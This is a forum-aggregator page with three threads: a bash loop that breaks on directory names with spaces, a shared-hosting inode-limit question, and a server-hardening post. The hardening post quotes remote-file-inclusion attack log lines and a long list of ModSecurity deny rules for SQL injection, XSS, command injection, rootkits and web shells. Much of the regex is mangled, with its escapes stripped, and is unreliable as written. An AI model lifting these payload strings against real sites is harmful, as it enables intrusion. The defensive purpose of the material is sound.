Bash Scripting :: Inode And Directory Size Counter
Apr 4, 2009
I'm writing an inode and directory size counter, but hit a snag with directories that contain a space.
Simple code, finds all directories within a folder, sets the current directory:
for i in `find . -type d`; do ls $i; done
Looks correct? It works great, until you hit directories with spaces. So I try the following methods:
for i in `find . -type d|sed 's/ / /g'`; do ls $i; done
for i in `find . -type d|sed 's/ / /g'`; do ls "$i"; done
What is happening is, at the ( for i in ), it treats each item at the first break, if its
or a ' '. Is there a flag I can set to make it only use
? When I pipe the data, it sends each chunk of the directory through.
[root@home /home/mindbend/dev_html]# for i in `find . -type d|sed 's/ / /g'`; do ls $i; done
ls: ./test: No such file or directory
ls: ing: No such file or directory
ls: 12: No such file or directory
ls: 3: No such file or directory
ls: ./test: No such file or directory
ls: ing: No such file or directory
ls: 12: No such file or directory
ls: 3/test: No such file or directory
ls: 2: No such file or directory
# ls -d test ing 12 3/
test ing 12 3/
#ls -d test ing 12 3/test 2/
test ing 12 3/test 2/
GNU bash, version 3.2.39(1)-release (i386-portbld-freebsd7.1)
Copyright (C) 2007 Free Software Foundation, Inc.
Issue exists on linux and freebsd, same code.
View 3 Replies
Aug 15, 2008
I currently have hosting with Site5 (started back before all the overselling), and although my sites are very low in traffic and don't take up much space, I am running up against their 25,000 per site inode limit, due to my hosting a Gallery2 photo album on one of the sites (as I understand, the base install of Gallery2 uses 14,000 inodes alone. Due to how my album is integrated with the rest of the site, it would require hours and hours to switch to something besides Gallery2). All the sites together have used 17 GB of bandwidth so far this month, although much of that has been me uploading stuff to one of the sites to set it up.
Here are my sites:
- Site#1 is a family site, with family photos and a Wordpress blog. Very low traffic (a handful of visits a day), but lots of photos. Inodes not a problem for now (I'm at about 13,000), as unlike one of the other sites, I was able to switch to Zenphoto from Gallery2 pretty easily.
- Site#2 is the newest and fastest growing. It is a site for a small community of people who play a particular online computer game. It runs Drupal, and has about 60 members now, but 5-10 have been joining a day. Most online at one time has been 10. I get anywhere from 30-60 visits a day, but growing. The site uses about 150 MB of storage right now, and this will grow. No photo albums here.
- Site#3 (running Joomla and Gallery2) is for my own gaming group of 8 people that play the above computer game together each week online. Low traffic, but this is the site with the inode problem, as I post screenshots in Gallery2 after each session. Around 25,000 inodes, and 6.5 GB of storage used on the server.
- Site#4 is my wedding site, running on Wordpress. It only gets a handful of visits each day, and will get almost none after the wedding in mid September. No photo album here.
- Site#5 is my fiance's site (running Joomla), which she has pretty much not touched in a year and I doubt anyone visits, but I'm too much of a coward to take down.
With that in mind, I'm wondering what my best solution would be:
- Switch to a VPS, and if so, what kind and who?
- Switch to a different shared host with a higher inode limit
- Stay with Site5 and take the time to farm out the photo album somewhere off the site, or to another program like Zenphoto with a lower footprint.
I'm a tech-geek wannabe and willing to learn. I'm paying about $10 a month (I think) and could probably go as high as $30 or so.
View 6 Replies
View Related
Feb 1, 2008
Lately, our server logs are being filled with requests from exploited servers. In order to prevent our servers from being hacked, I have tried to harden the server as much as possible. (Server: Centos 4.6, Apache 2, PHP 5, MySql 5, Cpanel/WHM)
I have detailed my efforts and would appreciate some feed back or suggestions of your own that have been effective.
-------------
Examples include c99.txt exploits, php insertions, etc.
Recent Sample Logs:
Code:
66.246.246.38 - - [30/Jan/2008:16:32:59 -0500] "GET /example.cgi?SearchIndex=http%3A%2F%2Fwww.soeasywebsite.com%2Fsoeasycasino%2Fmaj%2Fpepus%2F&Manufacturer=Black+&+Decker HTTP/1.0" 406 442 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
Code:
64.38.19.90 - - [25/Jan/2008:04:35:22 -0500] "GET /post/index/7//bm/mail.php?id=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 406 464 "-" "libwww-perl/5.808"
Code:
207.44.154.126 - - [01/Feb/2008:01:36:12 -0500] "GET /index.php?act=http%3A%2F%2Fwww.qubestunes.com%2Fte%2Fratov%2Fomuley%2F&id=2 HTTP/1.0" 200 139303 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
What to do to prevent these intrusions?
1) I have updated my Mod_Security rules (running version modsec2) to include checks for the following:
Code:
# Check Content-Length and reject all non numeric ones
SecRule REQUEST_HEADERS:Content-Length "!^d+$" "deny,log,auditlog,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016'"
# Do not accept GET or HEAD requests with bodies
SecRule REQUEST_METHOD "^(GET|HEAD)$" "chain,deny,log,auditlog,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011'"
SecRule REQUEST_HEADERS:Content-Length "!^0?$"
# Require Content-Length to be provided with every POST request.
SecRule REQUEST_METHOD "^POST$" "chain,deny,log,auditlog,msg:'POST request must have a Content-Length header',id:'960012',severity:'4'"
SecRule &REQUEST_HEADERS:Content-Length "@eq 0"
# Don't accept transfer encodings we know we don't know how to handle
SecRule HTTP_Transfer-Encoding "!^$" "deny,log,auditlog,msg:'ModSecurity does not support transfer encodings',id:'960013',severity:'5'"
# Check decodings
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|
REQUEST_HEADERS:Referer "@validateUrlEncoding"
"chain, deny,log,auditlog,msg:'URL Encoding Abuse Attack Attempt',id:'950107',severity:'4'"
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "\%(?![0-9a-fA-F]{2}|u[0-9a-fA-F]{4})"
# Proxy access attempt
SecRule REQUEST_URI ^http:/ "deny,log,auditlog,msg:'Proxy access attempt', severity:'2',id:'960014'"
#
# Restrict type of characters sent
SecRule REQUEST_FILENAME|REQUEST_HEADERS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer
"@validateByteRange 1-255"
"log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',t:urlDecodeUni,phase:1"
SecRule ARGS|ARGS_NAMES "@validateByteRange 1-255"
"deny,log,auditlog,msg:'Invalid character in request',id:'960901',severity:'4',t:urlDecodeUni,phase:2"
# allow request methods
SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$"
"phase:1,log,auditlog,msg:'Method is not allowed by policy', severity:'2',id:'960032'"
# Restrict file extension
# removed exe so that frontpage will work
# Restricted HTTP headers
SecRule REQUEST_HEADERS_NAMES ".(?:Lock-Token|Translate|If)$"
"deny,log,auditlog,msg:'HTTP header is restricted by policy',id:'960038',severity:'4'"
SecRule HTTP_User-Agent "(?:(?:m(?:ozilla/4.0 (compatible)|etis)|webtrends security analyzer|pmafind)|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|internet explorer|webinspect|.nasl)"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',severity:'2'"
SecRule REQUEST_HEADERS_NAMES "acunetix-product"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990901',severity:'2'"
SecRule REQUEST_FILENAME "^/nessustest"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990902',severity:'2'"
SecRule REQUEST_HEADERS:User-Agent "(?:m(?:ozilla/(?:4.0 (compatible; advanced email extractor|2.0 (compatible; newt activex; win32))|ailto:craftbot@yahoo.com)|e(?:mail(?:(?:collec|harves|magne)t|(?: extracto|reape)r|siphon|wolf)|(?:collecto|irgrabbe)r|xtractorpro|o browse)|a(?:t(?:tache|hens)|utoemailspider|dsarobot)|w(?:eb(?:emailextrac| by mail)|3mir)|f(?:astlwspider|loodgate)|p(?:cbrowser|ackrat|surf)|(?:digout4uagen|takeou)t|(?:chinacla|be)w|hhjhj@yahoo|rsync|shai|zeus)"
"deny,log,auditlog,msg:'Rogue web site crawler',id:'990012',severity:'2'"
SecRule REQUEST_HEADERS:User-Agent "(?:(?:(?:indy librar|snoop)y|microsoft url control|lynx)|d(?:ownload demon|isco)|w(?:3mirror|get)|l(?:ibwww|wp)|p(?:avuk|erl)|cu(?:sto|rl)|big brother|autohttp|netants|eCatch)"
"chain,log,auditlog,msg:'Request Indicates an automated program explored the site',id:'990011',severity:'5'"
SecRule REQUEST_HEADERS:User-Agent "!^apache.*perl"
# Session fixation
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:.cookie.*?;W*?(?:expires|domain)W*?=|http-equivW+set-cookie)"
"capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation. Matched signature <%{TX.0}>',id:'950009',severity:'2'"
# Blind SQL injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:(?:s(?:ys.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect.{0,40}(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql.user)|c(?:onstraint_type|harindex)|attnotnull)|(?:locate|instr)W+()|@@spid)"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack. Matched signature <%{TX.0}>',id:'950007',severity:'2'"
SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtypeW+char|rownum)|t(?:able_name|extposW+())"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack. Matched signature <%{TX.0}>',id:'950904',severity:'2'"
# SQL injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:(?:s(?:elect(?:.{1,100}?(?:(?:length|count|top).{1,100}?from|from.{1,100}?where)|.*?(?:d(?:ump.*from|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion.{1,100}?select|tl_(?:file|http))|group.*by.{1,100}?having|loadW*?data.*infile|(?:n?varcha|tbcreato)r|autonomous_transaction|open(?:rowset|query)|dbms_java)|i(?:n(?:toW*?(?:dump|out)file|sertW*?into|nerW*?join)|(?:f(?:W*?(W*?benchmark|null)|snull)W*?()|(?:having|or|and)s+?(?:d{1,10}|'[^=]{1,10}')s*?[=<>]+|(?:print]W*?@|root)@|c(?:astW*?(|oalesce))|(?:;W*?(?:shutdown|drop)|@@version)|'(?:s(?:qloledb|a)|msdasql|dbo)')"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack. Matched signature <%{TX.0}>',id:'950001',severity:'2'"
SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack. Matched signature <%{TX.0}>',id:'950906',severity:'2'"
# XSS
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)W*?=|abort)|(?:l(?:owsrcW*?(?:(?:java|vb)script|shell)|ivescript)|(?:href|url)W*?(?:(?:java|vb)script|shell)|background-image|mocha):|typeW*?(?:text(?:W*?(?:j(?:ava)?|ecma)script| [vbscript])|applicationW*?x-(?:java|vb)script)|s(?:(?:tyleW*=.*expressionW*|ettimeoutW*?)(|rcW*?(?:(?:java|vb)script|shell|http):)|(?:c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)|a(?:ctivexobject|lertW*?())|<(?:(?:body.*?(?:backgroun|onloa)d|input.*?typeW*?image)|![CDATA[|script|meta)|(?:.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|@import))"
"capture,ctl:auditLogParts=+E,log,auditlog,msg:'Cross-site Scripting (XSS) Attack. Matched signature <%{TX.0}>',id:'950004',severity:'2'"
# file injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:.(?:ht(?:access|passwd|group)|www_?acl)|global.asa|httpd.conf|boot.ini)|/etc/)"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'Remote File Access Attempt. Matched signature <%{TX.0}>',id:'950005',severity:'2'"
# Command access
SecRule REQUEST_FILENAME "(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp).exe"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Access. Matched signature <%{TX.0}>',id:'950002',severity:'2'"
# Command injection
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:(?:n(?:et(?:W+?localgroup|.exe)|(?:map|c).exe)|t(?:racer(?:oute|t)|elnet.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp).exe|echoW*?y+)|c(?:md(?:(?:32)?.exe|W*?/c)|d(?:W*?[/]|W*?..)|hmod.{0,40}?+.{0,3}x))|[;|`]W*?(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp|c)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)|g(?:++|cc))|/(?:c(?:h(?:grp|mod|own|sh)|pp|c)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|g(?:++|cc)|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)(?:['"|;`-s]|$))"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Injection. Matched signature <%{TX.0}>',id:'950006',severity:'2'"
SecRule "ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:User-Agent"
"wget"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Injection. Matched signature <%{TX.0}>',id:'950907',severity:'2'"
# SSI injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "<!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'SSI injection Attack. Matched signature <%{TX.0}>',id:'950011',severity:'2'"
# PHP injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|$_(?:(?:pos|ge)t|session))|<?(?!xml))"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'PHP Injection Attack. Matched signature <%{TX.0}>',id:'950013',severity:'2'"
#suntzu
SecRule REQUEST_URI|REQUEST_BODY|HTTP_Content-Disposition "/(suntzu.*|suntzu).php?cmd="
#Known rootkits
SecRule REQUEST_URI|REQUEST_BODY "perl (xpl.pl|kut|viewde|httpd.txt)"
SecRule REQUEST_URI|REQUEST_BODY "./xkernel;"
SecRule REQUEST_URI|REQUEST_BODY "/kaiten.c"
SecRule REQUEST_URI|REQUEST_BODY "/mampus?&(cmd|command)"
# WEB-MISC .htpasswd access
SecRule REQUEST_URI ".htpasswd"
# WEB-MISC /etc/passwd access
SecRule REQUEST_URI "/etc/passwd"
#Exploit agent
SecRule HTTP_User-Agent "Mosiac 1.*"
#remote bash shell
SecRule REQUEST_URI "/shell.php&cmd="
SecRule ARGS "/shell.php&cmd="
# WEB-CGI formmail
SecRule REQUEST_URI "/(formmail|mailform)(x0a|.plx0a)"
#Invision Board ipchat.php file include
SecRule REQUEST_URI "/hk/ipchat.php*root_path*conf_global.php"
#Invision Power Board SQL injection
SecRule REQUEST_URI "/hk/index.php?act=.*&max_results=.*&filter=.*&sort_order=.*&sort_key=.*&st=*(UNION|SELECT|DELETE|INSERT)"
#Invision Gallery SQL Injection Vulnerabilities
SecRule REQUEST_URI "/hk/index.php" chain
SecRule ARGS:comment "(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|*| ]+[[:space:]](from|into|table|database|index|view)"
# TIKIWIKI
SecRule REQUEST_URI "/tiki-map.phtml?mapfile=../../"
#Wordpress shell injection Vulnerability
SecRule REQUEST_URI "/cache/user.*/.*.php?cmd=" "id:390064,rev:1,severity:2,msg:'JITP: Wordpress shell injection Vulnerability'"
#Bad agent
SecRule HTTP_User-Agent "Brutus/AET"
#Web leaches
SecRule HTTP_User-Agent "Linux"
SecRule HTTP_User-Agent "libcurl-agent"
SecRule HTTP_User-Agent "TurnitinBot"
SecRule HTTP_User-Agent "ANONYMOUS"
SecRule HTTP_User-Agent "LinkWalker"
SecRule HTTP_User-Agent "Drecombot"
SecRule HTTP_User-Agent "Mac Finder"
SecRule HTTP_User-Agent "ConveraCrawler"
SecRule HTTP_User-Agent "WebarooBot"
SecRule HTTP_User-Agent "RufusBot"
SecRule HTTP_User-Agent "SumeetBot"
SecRule HTTP_User-Agent "pulseBot"
SecRule HTTP_User-Agent "FyberSpider"
SecRule HTTP_User-Agent "1-More Scanner v1.25"
SecRule HTTP_User-Agent "DRT-ResolveBot-Ignore"
SecRule HTTP_User-Agent "T-H-U-N-D-E-R-S-T-O-N-E"
SecRule HTTP_User-Agent "SnapPreviewBot"
SecRule HTTP_User-Agent "IRLbot"
SecRule HTTP_User-Agent "Charlotte"
SecRule HTTP_User-Agent "ninetowns"
SecRule HTTP_User-Agent "heritrix"
SecRule HTTP_User-Agent "Python-urllib"
SecRule HTTP_User-Agent "InetURL"
SecRule HTTP_User-Agent "cazoodle"
SecRule HTTP_User-Agent "DepSpid" "deny,nolog,status:410"
SecRule HTTP_User-Agent "Browsezilla"
SecRule HTTP_User-Agent "MetagerBot"
SecRule HTTP_User-Agent "TALWinHttpClient"
SecRule HTTP_User-Agent "Snapbot"
SecRule HTTP_User-Agent "BDFetch"
SecRule HTTP_User-Agent "WebaltBot"
SecRule HTTP_User-Agent "VSynCrawler"
SecRule HTTP_User-Agent "UbiCrawler"
SecRule HTTP_User-Agent "WebCapture"
SecRule HTTP_User-Agent "WebCopier"
SecRule HTTP_User-Agent "FairAd Client"
SecRule HTTP_User-Agent "Black Hole"
SecRule HTTP_User-Agent "Crescent"
SecRule HTTP_User-Agent "MIIxpc"
SecRule HTTP_User-Agent "Harvest"
SecRule HTTP_User-Agent "LinkextractorPro"
SecRule HTTP_User-Agent "Snoopy"
SecRule HTTP_User-Agent "IDBot"
SecRule HTTP_User-Agent "Cyveillance" "deny,nolog,status:404"
SecRule HTTP_User-Agent "PEAR HTTP_Request class"
SecRule HTTP_User-Agent "libwww-perl"
11) Review my logs daily to look for problem child scrapers, hackers, and issues.
View 8 Replies
View Related